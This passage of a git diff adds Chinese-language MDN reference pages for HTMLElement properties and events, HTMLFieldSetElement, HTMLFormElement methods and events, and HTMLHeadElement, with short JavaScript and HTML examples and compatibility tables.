+<textarea rows="15" cols="80" id="log" readonly="true"></textarea>
+</body>
+</html>
+
+

上例演示了如何禁止向一个文本域内粘贴文本.

+

备注

+

当用户尝试粘贴文本时会触发paste事件.

+

规范

+

不属于任何公开的规范.

+

备注

+

没有任何DOM方法可以使用来获取将要粘贴的剪切板中的文字,你可以使用XPCOM接口{{ Interface("nsIClipboard") }}来进行这样的操作.

+

相关链接

+ +

{{ languages( {"ja": "ja/DOM/element.onpaste" ,"en": "en/DOM/element.onpaste" } ) }}

diff --git a/files/zh-cn/web/api/htmlelement/outertext/index.html b/files/zh-cn/web/api/htmlelement/outertext/index.html new file mode 100644 index 0000000000..523ce9fc38 --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/outertext/index.html @@ -0,0 +1,87 @@ +--- +title: HTMLElement.outerText +slug: Web/API/HTMLElement/outerText +tags: + - HTMLElement.outerText +translation_of: Web/API/HTMLElement/outerText +--- +
{{APIRef("DOM")}}
+ +

{{ Non-standard_header() }}

+ +

概要

+ +

HTMLElement.outerText是一个非标准的属性。作为一个获得器,它返回与{{domxref("Node.innerText")}}一致的值。 作为一个设置器,它将删除当前节点并将其替换为给定的文本。

+ +

范例

+ +

查看StackOverflow上的回答.

+ +

规范

+ +

不属于任何规范。关于标准规范的讨论:whatwg/html#668

+ +

微软 在MSDN有一篇描述。

+ +

浏览器兼容

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerMicrosoft EdgeOperaSafari (WebKit)
Basic support{{ CompatVersionUnknown() }}{{CompatVersionUnknown}}{{ CompatNo() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{ CompatUnknown() }}{{CompatVersionUnknown}}{{ CompatNo() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/htmlelement/pointercancel_event/index.html b/files/zh-cn/web/api/htmlelement/pointercancel_event/index.html new file mode 100644 index 0000000000..620ce654d3 --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/pointercancel_event/index.html @@ -0,0 +1,101 @@ +--- +title: 'HTMLElement: pointercancel event' +slug: Web/API/HTMLElement/pointercancel_event +translation_of: Web/API/HTMLElement/pointercancel_event +--- +
{{APIRef}}
+ +

当浏览器认为不再会有更多的指针事件, 或者在 {{event("pointerdown")}} 事件触发之后用户滚动或者缩放窗口,pointercancel 事件被触发。

+ + + + + + + + + + + + + + + + + + + + +
BubblesYes
CancelableNo
Interface{{domxref("PointerEvent")}}
Event handler propertyonpointercancel
+ +

常见需要 pointercancel 事件的地方:

+ + + +
+

在 pointercancel 事件触发后,浏览器会按顺序发送 {{event("pointerout")}} 以及 {{event("pointerleave")}}。

+
+ +

示例

+ +

使用 addEventListener():

+ +
const para = document.querySelector('p');
+
+para.addEventListener('pointercancel', (event) => {
+  console.log('Pointer event cancelled');
+});
+ +

使用 onpointercancel 事件句柄属性:

+ +
const para = document.querySelector('p');
+
+para.onpointercancel = (event) => {
+  console.log('Pointer event cancelled');
+};
+ +

Specifications

+ + + + + + + + + + + + +
SpecificationStatus
{{SpecName('Pointer Events', '#the-pointercancel-event')}}{{Spec2('Pointer Events')}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.HTMLElement.pointercancel_event")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/htmlelement/style/index.html b/files/zh-cn/web/api/htmlelement/style/index.html new file mode 100644 index 0000000000..2b825c80cc --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/style/index.html @@ -0,0 +1,80 @@ +--- +title: HTMLElement.style +slug: Web/API/HTMLElement/style +translation_of: Web/API/ElementCSSInlineStyle/style +--- +
{{ APIRef("HTML DOM") }}
+ +

HTMLElement.style 属性返回一个 CSSStyleDeclaration 对象,表示元素的 内联style 属性(attribute),但忽略任何样式表应用的属性。 通过 style 可以访问的 CSS 属性列表,可以查看 CSS Properties Reference

+ +

由于 style 属性的优先级和通过style设置内联样式是一样的,并且在css层级样式中拥有最高优先级,因此在为特定的元素设置样式时很有用。

+ +

设置 style 属性

+ +

注意不能通过直接给style属性设置字符串(如:elt.style = "color: blue;")来设置style,因为style应被当成是只读的(尽管Firefox(Gecko), Chrome 和 Opera允许修改它),这是因为通过style属性返回的CSSStyleDeclaration对象是只读的。但是style属性本身的属性够用来设置样式。此外,通过单独的样式属性(如elt.style.color = '...')比用elt.style.cssText = '...' 或者 elt.setAttribute('style', '...')形式更加简便,除非你希望完全通过一个单独语句来设置元素的全部样式,因为通过style本身属性设置的样式不会影响到通过其他方式设置的其他css属性的样式。

+ +

例子

+ +
// 在单个语句中设置多个样式
+elt.style.cssText = "color: blue; border: 1px solid black";
+// 或者
+elt.setAttribute("style", "color:red; border: 1px solid blue;");
+
+// 设置特定样式,同时保持其他内联样式值不变
+elt.style.color = "blue";
+
+ +

获取元素样式信息

+ +

通常,要了解元素样式的信息,仅仅使用 style 属性是不够的,这是因为它只包含了在元素内嵌 style 属性(attribute)上声明的的 CSS 属性,而不包括来自其他地方声明的样式,如 {{HTMLElement("head")}} 部分的内嵌样式表,或外部样式表。要获取一个元素的所有 CSS 属性,你应该使用 {{domxref("window.getComputedStyle()")}}。

+ +
<!DOCTYPE HTML>
+<html>
+<body style="font-weight:bold;">
+
+    <div style="color:red" id="myElement">..</div>
+
+ </body>
+</html>
+ +

下面的代码输出 style 所有属性的名字,以及为元素 elt 显式设置的属性值和继承的计算值(computed value):

+ +
var element = document.getElementById("myElement");
+var out = "";
+var elementStyle = element.style;
+var computedStyle = window.getComputedStyle(element, null);
+
+for (prop in elementStyle) {
+  if (elementStyle.hasOwnProperty(prop)) {
+    out += "  " + prop + " = '" + elementStyle[prop] + "' > '" + computedStyle[prop] + "'\n";
+  }
+}
+console.log(out)
+ +

输出结果如下:

+ +
...
+fontWeight = '' > 'bold'
+color = 'red' > 'rgb(255, 0, 0)'
+...
+
+ +

请注意,计算样式中font-weight的值为“bold”,元素的style属性中缺少该值

+ +

规范

+ +

DOM Level 2 Style: ElementCSSInlineStyle.style

+ +

CSSOM: ElementCSSInlineStyle

+ +

兼容性

+ + + +

{{Compat("api.HTMLElement.style")}}

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/htmlelement/tabindex/index.html b/files/zh-cn/web/api/htmlelement/tabindex/index.html new file mode 100644 index 0000000000..516c659c2a --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/tabindex/index.html @@ -0,0 +1,49 @@ +--- +title: HTMLElement.tabIndex +slug: Web/API/HTMLElement/tabIndex +translation_of: Web/API/HTMLOrForeignElement/tabIndex +--- +
+
{{ APIRef("HTML DOM") }}
+
+ +

概述

+ +

获取或设置当前元素的tab键激活顺序.

+ +

语法

+ +
element.tabIndex = index index = element.tabIndex
+
+ +

参数

+ + + +

Tab键的遍历顺序是这样的:

+ +
    +
  1. 对于tabIndex值为正数的元素,如果多个元素的tabIndex值相同,则以他们出现在字符流中的次序来遍历;否则按tabIndex值由小到大的顺序来遍历。
  2. +
  3. 对于不支持tabIndex属性或支持tabIndex属性并将其赋值为0的元素,按照他们出现在字符流中的次序来遍历。
  4. +
  5. 处于不可用状态的元素不会被遍历到。
  6. +
+ +

支持tabIndex属性的元素有:a,area,button,input,object,select和textarea

+ +

tabIndex的值不需要是连续的,也不需要以某个特定值开始。

+ +

例子

+ +
var b1 = document.getElementById("button1");
+b1.tabIndex = 1;
+
+ +

规范

+ +

W3C DOM Level 2 HTML tabIndex

+ +

了解更多,请查看: The solution: changes to standard behavior of tabindex

+ +

{{ languages( { "ja": "ja/DOM/element.tabIndex", "fr": "fr/DOM/element.tabIndex", "pl": "pl/DOM/element.tabIndex" , "en": "en/DOM/element.tabIndex" } ) }}

diff --git a/files/zh-cn/web/api/htmlelement/title/index.html b/files/zh-cn/web/api/htmlelement/title/index.html new file mode 100644 index 0000000000..340c56ef74 --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/title/index.html @@ -0,0 +1,76 @@ +--- +title: HTMLElement.title +slug: Web/API/HTMLElement/title +translation_of: Web/API/HTMLElement/title +--- +

{{ APIRef() }}

+ +

HTMLElement.title 属性表示元素的 title。当鼠标移到节点上时,会以“工具提示”(tool tip)的弹出形式显示该属性的属性值文本。

+ +

如果一个节点没有 title 属性(attribute),默认继承其父节点的相应属性,父节点可能是从父节点的父节点继承,依此类推。

+ +

语法

+ +
var string = element.title;
+element.title = string;
+
+ +

例子

+ +
const link = document.createElement('a');
+link.innerText = '葡萄';
+link.href = 'https://en.wikipedia.org/wiki/Grape';
+link.title = '维基百科上对葡萄的描述';
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatVersionUnknown() }}{{CompatVersionUnknown}}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{CompatVersionUnknown}}{{ CompatVersionUnknown() }}
+
diff --git a/files/zh-cn/web/api/htmlfieldsetelement/index.html b/files/zh-cn/web/api/htmlfieldsetelement/index.html new file mode 100644 index 0000000000..51b93938c5 --- /dev/null +++ b/files/zh-cn/web/api/htmlfieldsetelement/index.html @@ -0,0 +1,84 @@ +--- +title: HTMLFieldSetElement +slug: Web/API/HTMLFieldSetElement +translation_of: Web/API/HTMLFieldSetElement +--- +

{{ ApiRef() }}

+

HTML Field Set Element

+

DOM fieldset elements expose the HTMLFieldSetElement  ({{ HTMLVersionInline(4) }} HTMLFieldSetElement) interface, which provides special properties and methods (beyond the regular element object interface they also have available to them by inheritance) for manipulating the layout and presentation of field-set elements.

+

属性

+

以下属性除了 form 都是在 {{ HTMLVersionInline(5) }} 中新添加的.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
名称类型描述
disabledBoolean读取HTML属性 {{ htmlattrxref("disabled", "fieldset") }},表明用户是否可以操作该控件.
elementsreadonly HTMLFormControlsCollectionThe elements belonging to this field set.
formreadonly HTMLFormElementThe containing form element, if this element is in a form. Otherwise, the element the name content attribute points to {{ HTMLVersionInline(5) }}. (null in {{ HTMLVersionInline(4) }}.)
nameDOMStringReflects the {{ htmlattrxref("name", "fieldset") }} HTML attribute, containing the name of the field set, used for submitting the form.
typereadonly DOMString一定为字符串fieldset.
validationMessagereadonly DOMStringA localized message that describes the validation constraints that the element does not satisfy (if any). This is the empty string if the element  is not a candidate for constraint validation (willValidate is false), or it satisfies its constraints.
validityreadonly ValidityStateThe validity states that this element is in.
willValidatebooleanAlways false because fieldset objects are never candidates for constraint validation.
+

方法

+ + + + + + + + + + + + + + + + + + + + +
名称 & 参数返回值描述
checkValidity()Boolean如果元素的值没有有效性问题,则返回true,否则返回false并触发invalid事件.
setCustomValidity(in DOMString error) void设置一个自定义错误,则该元素将无法通过有效性验证.参数指定的字符串就是在向用户报告错误时显示的消息.如果为空字符串,则清除这个自定义错误.
+

 

diff --git a/files/zh-cn/web/api/htmlformelement/action/index.html b/files/zh-cn/web/api/htmlformelement/action/index.html new file mode 100644 index 0000000000..32519d4be0 --- /dev/null +++ b/files/zh-cn/web/api/htmlformelement/action/index.html @@ -0,0 +1,31 @@ +--- +title: HTMLFormElement.action +slug: Web/API/HTMLFormElement/action +tags: + - API + - DOM节点 + - HTML表单元素 + - 表单 +translation_of: Web/API/HTMLFormElement/action +--- +
{{APIRef("HTML DOM")}}
+ +

HTMLFormElement.action 这个js语句能够定义一个{{HTMLElement("form")}}元素中的action属性

+ +

表单的action属性是在服务器上提交表单,这个属性可以被检索或者设置。

+ +

语法

+ +
string = form.action
+form.action = string 
+
+ +

例子

+ +

form.action = "/cgi-bin/publish";

+ +

详细说明

+ +

HTML 5, Section 4.10.19.6, Form submission

+ +

DOM Level 2 HTML: action

diff --git a/files/zh-cn/web/api/htmlformelement/elements/index.html b/files/zh-cn/web/api/htmlformelement/elements/index.html new file mode 100644 index 0000000000..ebb26003b0 --- /dev/null +++ b/files/zh-cn/web/api/htmlformelement/elements/index.html @@ -0,0 +1,22 @@ +--- +title: HTMLFormElement.elements +slug: Web/API/HTMLFormElement/elements +translation_of: Web/API/HTMLFormElement/elements +--- +
+ 小结
+

elements 返回一个 {{domxref("HTMLFormControlsCollection")}} ({{ HTMLVersionInline(4) }} HTMLCollection) 其中包含FORM的所有控件。需要注意的是,其中不包括type等于image的input 元素。

+

你可以通过 name 或 id来访问对应的控件。

+

语法

+
nodeList = HTMLFormElement.elements
+
+

实例

+
var inputs = document.getElementById("form1").elements;
+var inputByIndex = inputs[2];
+var inputByName = inputs["login"];
+
+

规范

+ diff --git a/files/zh-cn/web/api/htmlformelement/enctype/index.html b/files/zh-cn/web/api/htmlformelement/enctype/index.html new file mode 100644 index 0000000000..5610bf464a --- /dev/null +++ b/files/zh-cn/web/api/htmlformelement/enctype/index.html @@ -0,0 +1,32 @@ +--- +title: HTMLFormElement.enctype +slug: Web/API/HTMLFormElement/enctype +translation_of: Web/API/HTMLFormElement/enctype +--- +
{{APIRef("HTML DOM")}}
+ +

HTMLFormElement.enctype 属性常用来指明提交表单的内容类型,可选的值如下:

+ + + +

这些值可以通过元素 {{HTMLElement("button")}} or {{HTMLElement("input")}} 的属性form.enctype来改写

+ +

语法

+ +
string = form.enctype
+form.enctype = string
+
+ +

例子

+ +
form.enctype = "application/x-www-form-urlencoded";
+ +

参考

+ +

HTML 5, Section 4.10.19.6, Form submission

+ +

DOM Level 2 HTML: enctype

diff --git a/files/zh-cn/web/api/htmlformelement/index.html b/files/zh-cn/web/api/htmlformelement/index.html new file mode 100644 index 0000000000..e1ae86c048 --- /dev/null +++ b/files/zh-cn/web/api/htmlformelement/index.html @@ -0,0 +1,266 @@ +--- +title: HTMLFormElement +slug: Web/API/HTMLFormElement +translation_of: Web/API/HTMLFormElement +--- +
{{APIRef("HTML DOM")}}
+ +

HTMLFormElement接口可以创建或者修改{{HTMLElement("form")}}对象;它继承了{{domxref("HTMLElement")}}接口的方法和属性。

+ +

属性

+ +

继承自父类的属性, {{domxref("HTMLElement")}}.

+ +
+
{{domxref("HTMLFormElement.acceptCharset")}}
+
Is a {{domxref("DOMString")}} that reflects the {{ htmlattrxref("accept-charset", "form") }} HTML attribute, containing a list of character encodings that the server accepts.
+
{{domxref("HTMLFormElement.action")}}
+
Is a {{domxref("DOMString")}} that reflects the {{ htmlattrxref("action", "form") }} HTML attribute, containing the URI of a program that processes the information submitted by the form.
+
{{domxref("HTMLFormElement.autocomplete")}}
+
Is a {{domxref("DOMString")}} that reflects the {{ htmlattrxref("autocomplete", "form") }} HTML attribute, containing a string that indicates whether the controls in this form can have their values automatically populated by the browser.
+
{{domxref("HTMLFormElement.elements")}} {{readonlyinline}}
+
Returns a live {{domxref("HTMLFormControlsCollection")}} containing all the form controls belonging to this form element.
+
{{domxref("HTMLFormElement.encoding")}}
+
Is a synonym for enctype.
+
{{domxref("HTMLFormElement.enctype")}}
+
Is a {{domxref("DOMString")}} reflects the {{ htmlattrxref("enctype", "form") }} HTML attribute, indicating the type of content that is used to transmit the form to the server. Only specified values can be set.
+
{{domxref("HTMLFormElement.length")}} {{readonlyinline}}
+
Returns a long that represents the number of controls in the form.
+
{{domxref("HTMLFormElement.method")}}
+
Is a {{domxref("DOMString")}} that reflects the {{ htmlattrxref("method", "form") }} HTML attribute, indicating the HTTP method used to submit the form. Only specified values can be set.
+
{{domxref("HTMLFormElement.name")}}
+
Is a {{domxref("DOMString")}} that reflects the {{ htmlattrxref("name", "form") }} HTML attribute, containing the name of the form.
+
{{domxref("HTMLFormElement.noValidate")}}
+
Is a {{jsxref("Boolean")}} that reflects the {{ htmlattrxref("novalidate", "form") }} HTML attribute, indicating that the form should not be validated.
+
{{domxref("HTMLFormElement.target")}}
+
Is a {{domxref("DOMString")}} that reflects the {{ htmlattrxref("target", "form") }} HTML attribute, indicating where to display the results received from submitting the form.
+
+ +

方法

+ +

这个元素继承了 {{domxref("HTMLElement")}} 的属性。

+ +
+
{{domxref("HTMLFormElement.checkValidity()")}}
+
Returns a {{jsxref("Boolean")}} that is true if the element's child controls are subject to constraint validation and satify those contraints, or false if some controls do not satisfy their constraints. Fires an event named {{event("invalid")}} at any control that does not satisfy its constraints; such controls are considered invalid if the event is not canceled. It is up to the programmer to decide how to respond to false.
+
{{domxref("HTMLFormElement.item()")}}
+
Gets the item in the elements collection at the specified index, or null if there is no item at that index. You can also specify the index in array-style brackets or parentheses after the form object name, without calling this method explicitly.
+
{{domxref("HTMLFormElement.namedItem()")}}
+
从元素集合中获取 name 或者 id 与指定名称匹配的项,没有匹配项则返回null。您也可以像调用数组那样用圆括号或方括号来指定名称, 而不必显式地调用这个方法。
+
{{domxref("HTMLFormElement.submit()")}}
+
Submits the form to the server.
+
{{domxref("HTMLFormElement.reset()")}}
+
Resets the forms to its initial state.
+
+ +
+
{{domxref("HTMLFormElement.reportValidity()")}}
+
Returns true if the element's child controls satisfy their validation constraints. When false is returned, cancelable invalid events are fired for each invalid child and validation problems are reported to the user.
+
+ +

Examples

+ +

The following example shows how to create a new form element, modify its attributes and submit it.

+ +
// Create a form
+var f = document.createElement("form");
+
+// Add it to the document body
+document.body.appendChild(f);
+
+// Add action and method attributes
+f.action = "/cgi-bin/some.cgi";
+f.method = "POST"
+
+// Call the form's submit method
+f.submit();
+
+ +

In addition, the following complete HTML document shows how to extract information from a form element and to set some of its attributes.

+ +
<title>Form example</title>
+<script type="text/javascript">
+  function getFormInfo() {
+    var info;
+
+    // Get a reference using the forms collection
+    var f = document.forms["formA"];
+    info = "f.elements: " + f.elements + "\n"
+         + "f.length: " + f.length + "\n"
+         + "f.name: " + f.name + "\n"
+         + "f.acceptCharset: " + f.acceptCharset + "\n"
+         + "f.action: " + f.action + "\n"
+         + "f.enctype: " + f.enctype + "\n"
+         + "f.encoding: " + f.encoding + "\n"
+         + "f.method: " + f.method + "\n"
+         + "f.target: " + f.target;
+    document.forms["formA"].elements['tex'].value = info;
+  }
+
+  // A reference to the form is passed from the
+  // button's onclick attribute using 'this.form'
+  function setFormInfo(f) {
+    f.method = "GET";
+    f.action = "/cgi-bin/evil_executable.cgi";
+    f.name   = "totally_new";
+  }
+</script>
+
+<h1>Form  example</h1>
+
+<form name="formA" id="formA"
+ action="/cgi-bin/test" method="POST">
+ <p>Click "Info" to see information about the form.
+    Click set to change settings, then info again
+    to see their effect</p>
+ <p>
+  <input type="button" value="info"
+   onclick="getFormInfo();">
+  <input type="button" value="set"
+   onclick="setFormInfo(this.form);">
+  <input type="reset" value="reset">
+  <br>
+  <textarea id="tex" style="height:15em; width:20em">
+  </textarea>
+ </p>
+</form>
+
+ +

The following example shows how to submit a form in a popup window.

+ +
<!doctype html>
+<html>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+<title>MDN Example</title>
+<script type="text/javascript">
+function popupSend (oFormElement) {
+  if (oFormElement.method && oFormElement.method.toLowerCase() !== "get") {
+    alert("This script supports the GET method only.");
+    return;
+  }
+  var oField, sFieldType, nFile, sSearch = "";
+  for (var nItem = 0; nItem < oFormElement.elements.length; nItem++) {
+    oField = oFormElement.elements[nItem];
+    if (!oField.hasAttribute("name")) { continue; }
+    sFieldType = oField.nodeName.toUpperCase() === "INPUT" ? oField.getAttribute("type").toUpperCase() : "TEXT";
+    if (sFieldType === "FILE") {
+      for (nFile = 0; nFile < oField.files.length; sSearch += "&" + escape(oField.name) + "=" + escape(oField.files[nFile++].name));
+    } else if ((sFieldType !== "RADIO" && sFieldType !== "CHECKBOX") || oField.checked) {
+      sSearch += "&" + escape(oField.name) + "=" + escape(oField.value);
+    }
+  }
+  open(oFormElement.action.replace(/(?:\?.*)?$/, sSearch.replace(/^&/, "?")), "submit-" + (oFormElement.name || Math.floor(Math.random() * 1e6)), "resizable=yes,scrollbars=yes,status=yes");
+}
+</script>
+
+</head>
+
+<body>
+
+<form name="yourForm" action="test.php" method="get" onsubmit="popupSend(this); return false;">
+  <p>First name: <input type="text" name="firstname" /><br />
+  Last name: <input type="text" name="lastname" /><br />
+  Password: <input type="password" name="pwd" /><br />
+  <input type="radio" name="sex" value="male" /> Male <input type="radio" name="sex" value="female" /> Female</p>
+  <p><input type="checkbox" name="vehicle" value="Bike" />I have a bike<br />
+  <input type="checkbox" name="vehicle" value="Car" />I have a car</p>
+  <p><input type="submit" value="Submit" /></p>
+</form>
+
+</body>
+</html>
+ +

Submitting forms and uploading files using XMLHttpRequest

+ +

If you want to know how to serialize and submit a form using the XMLHttpRequest API, please read this paragraph.

+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "forms.html#the-form-element", "HTMLFormElement")}}{{Spec2('HTML WHATWG')}}No change from {{SpecName("HTML5 W3C")}}
{{SpecName('HTML5 W3C', "forms.html#the-form-element", "HTMLFormElement")}}{{Spec2('HTML5 W3C')}}The elements properties returns an {{domxref("HTMLFormControlsCollection")}} instead of a raw {{domxref("HTMLCollection")}}. This is mainly a technical change.
+ The following method has been added: checkValidity().
+ The following properties have been added: autocomplete, noValidate, and encoding.
{{SpecName('DOM2 HTML', 'html.html#ID-40002357', 'HTMLFormElement')}}{{Spec2('DOM2 HTML')}}No change from {{SpecName("DOM1")}}.
{{SpecName('DOM1', 'level-one-html.html#ID-40002357', 'HTMLFormElement')}}{{Spec2('DOM1')}}Initial definition.
+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatVersionUnknown}}{{CompatGeckoDesktop(1.0)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatGeckoMobile(1.0)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/htmlformelement/reportvalidity/index.html b/files/zh-cn/web/api/htmlformelement/reportvalidity/index.html new file mode 100644 index 0000000000..96de470bf2 --- /dev/null +++ b/files/zh-cn/web/api/htmlformelement/reportvalidity/index.html @@ -0,0 +1,57 @@ +--- +title: HTMLFormElement.reportValidity() +slug: Web/API/HTMLFormElement/reportValidity +translation_of: Web/API/HTMLFormElement/reportValidity +--- +
{{APIRef("HTML DOM")}}
+ +

方法 HTMLFormElement.reportValidity() 返回布尔值,如果form表单的子表单控件满足验证限制条件,则该方法返回 true ,否则返回false。当返回 false 时, 每个不合法的子控件的 invalid 事件将会被触发,并且验证中存在的问题会报告该用户。 

+ +

Syntax

+ +
HTMLFormElement.reportValidity()
+
+ +

Return value

+ +

{{domxref("布尔")}}

+ +

Example

+ +
document.forms['myform'].addEventListener('invalid', function() {
+  // Optional response here
+}, false);
+
+document.forms['myform'].addEventListener('submit', function() {
+  document.forms['myform'].reportValidity();
+}, false);
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("HTML WHATWG", "forms.html#dom-cva-reportvalidity", "HTMLFormElement.reportValidity()")}}{{Spec2("HTML WHATWG")}}
{{SpecName("HTML5.1", "semantics.html#the-constraint-validation-api", "HTMLFormElement.reportValidity()")}}{{Spec2("HTML5.1")}}Initial definition
+ +

Browser compatibility

+ + + +

{{Compat("api.HTMLFormElement.reportValidity")}}

diff --git a/files/zh-cn/web/api/htmlformelement/reset/index.html b/files/zh-cn/web/api/htmlformelement/reset/index.html new file mode 100644 index 0000000000..6cbcf70c61 --- /dev/null +++ b/files/zh-cn/web/api/htmlformelement/reset/index.html @@ -0,0 +1,19 @@ +--- +title: form.reset +slug: Web/API/HTMLFormElement/reset +translation_of: Web/API/HTMLFormElement/reset +--- +

{{ ApiRef() }}

+

概述

+

reset 方法可以重置一个表单内的所有表单控件的值到初始状态.

+

语法

+
HTMLFormElement.reset()
+
+

例子

+
document.forms["myform"].reset();
+
+

备注

+

运行该方法和点击表单的重置按钮是一样的效果.

+

规范

+

DOM Level 2 HTML: reset

+

{{ languages( {"pl": "pl/DOM/form.reset" ,"en": "en/DOM/form.reset" } ) }}

diff --git a/files/zh-cn/web/api/htmlformelement/reset_event/index.html b/files/zh-cn/web/api/htmlformelement/reset_event/index.html new file mode 100644 index 0000000000..bc9c2c01b5 --- /dev/null +++ b/files/zh-cn/web/api/htmlformelement/reset_event/index.html @@ -0,0 +1,57 @@ +--- +title: reset +slug: Web/API/HTMLFormElement/reset_event +translation_of: Web/API/HTMLFormElement/reset_event +--- +

当表单被重置时触发reset事件。

+ +

综合信息

+ +
+
Specification
+
HTML5
+
Interface
+
{{domxref("Event")}}
+
Bubbles
+
是(可以指定不发生冒泡的简单事件)
+
Cancelable
+
+
Target
+
Element
+
默认行为
+
重置父表单元素所有的值。
+
+ +

属性

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyTypeDescription
target {{readonlyInline}}{{domxref("EventTarget")}}事件的目标(DOM树最顶端的元素)。
type {{readonlyInline}}{{domxref("DOMString")}}事件的类型。
bubbles {{readonlyInline}}{{jsxref("Boolean")}}是否指定事件冒泡。
cancelable {{readonlyInline}}{{jsxref("Boolean")}}事件是否可以被取消。
diff --git a/files/zh-cn/web/api/htmlformelement/submit/index.html b/files/zh-cn/web/api/htmlformelement/submit/index.html new file mode 100644 index 0000000000..7e13885446 --- /dev/null +++ b/files/zh-cn/web/api/htmlformelement/submit/index.html @@ -0,0 +1,42 @@ +--- +title: form.submit +slug: Web/API/HTMLFormElement/submit +tags: + - API + - HTML DOM + - 参考 + - 方法 + - 表单元素 +translation_of: Web/API/HTMLFormElement/submit +--- +

{{ ApiRef() }}

+ +

 HTMLFormElement.submit()用来提交表单。

+ +

这个方法和触发提交表单按钮很类似,但有所不同:

+ + + +

如果一个表单控件(比如一个提交按钮)的 nameid 的值为 submit,则它将覆盖表单的 submit 方法.

+ +

语法

+ +
HTMLFormElement.submit()
+ +

例子

+ +
document.forms["myform"].submit();
+
+ +

规范

+ +

HTML Living standard: The form element

+ +

浏览器兼容性

+ + + +

{{Compat("api.HTMLFormElement.submit")}}

diff --git a/files/zh-cn/web/api/htmlformelement/submit_event/index.html b/files/zh-cn/web/api/htmlformelement/submit_event/index.html new file mode 100644 index 0000000000..38df1007d4 --- /dev/null +++ b/files/zh-cn/web/api/htmlformelement/submit_event/index.html @@ -0,0 +1,64 @@ +--- +title: submit +slug: Web/API/HTMLFormElement/submit_event +tags: + - 事件 + - 表单 + - 表单事件 + - 表单提交事件 +translation_of: Web/API/HTMLFormElement/submit_event +--- +

当表单提交的时候触发submit事件

+ +

注意submit事件只能作用于form元素,不能作用于button或者<input type="submit">

+ +

General info

+ +
+
Specification
+
HTML5
+
Interface
+
{{domxref("Event")}}
+
Bubbles
+
Yes (although specified as a simple event that doesn't bubble)
+
Cancelable
+
Yes
+
Target
+
Element
+
Default Action
+
Varies (send the content of the form to the server).
+
+ +

Properties

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyTypeDescription
target {{readonlyInline}}{{domxref("EventTarget")}}The event target (the topmost target in the DOM tree).
type {{readonlyInline}}{{domxref("DOMString")}}The type of event.
bubbles {{readonlyInline}}{{jsxref("Boolean")}}Whether the event normally bubbles or not.
cancelable {{readonlyInline}}{{jsxref("Boolean")}}Whether the event is cancellable or not.
diff --git a/files/zh-cn/web/api/htmlheadelement/index.html b/files/zh-cn/web/api/htmlheadelement/index.html new file mode 100644 index 0000000000..62a6b83845 --- /dev/null +++ b/files/zh-cn/web/api/htmlheadelement/index.html @@ -0,0 +1,135 @@ +--- +title: HTMLHeadElement +slug: Web/API/HTMLHeadElement +tags: + - API + - HTML DOM +translation_of: Web/API/HTMLHeadElement +--- +
{{APIRef("HTML DOM")}}
+ +

HTMLHeadElement 接口包含一个文档的描述信息(或者称作元信息)这类对象继承了{{domxref("HTMLElement")}}接口的全部属性和方法。

+ +

属性

+ +

继承了父对象{{domxref("HTMLElement")}}的属性。

+ +
+
{{domxref("HTMLHeadElement.profile")}} {{obsolete_inline}}
+
空格隔开的一个或多个用于表示元信息URI的{{domxref("DOMString")}}。
+
+ +

方法

+ +

没有特殊的方法; 继承了父对象 {{domxref("HTMLElement")}} 的方法。

+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
规范状态注释
{{SpecName('HTML WHATWG', "semantics.html#the-head-element", "HTMLHeadElement")}}{{Spec2('HTML WHATWG')}}相对于上一个版本{{SpecName("HTML5.1")}}没有修改
{{SpecName('HTML5.1', "document-metadata.html#the-head-element", "HTMLHeadElement")}}{{Spec2('HTML5.1')}}相对于{{SpecName('HTML5 W3C')}}没有修改。
{{SpecName('HTML5 W3C', "document-metadata.html#the-head-element", "HTMLHeadElement")}}{{Spec2('HTML5 W3C')}}删除了下列属性: profile.
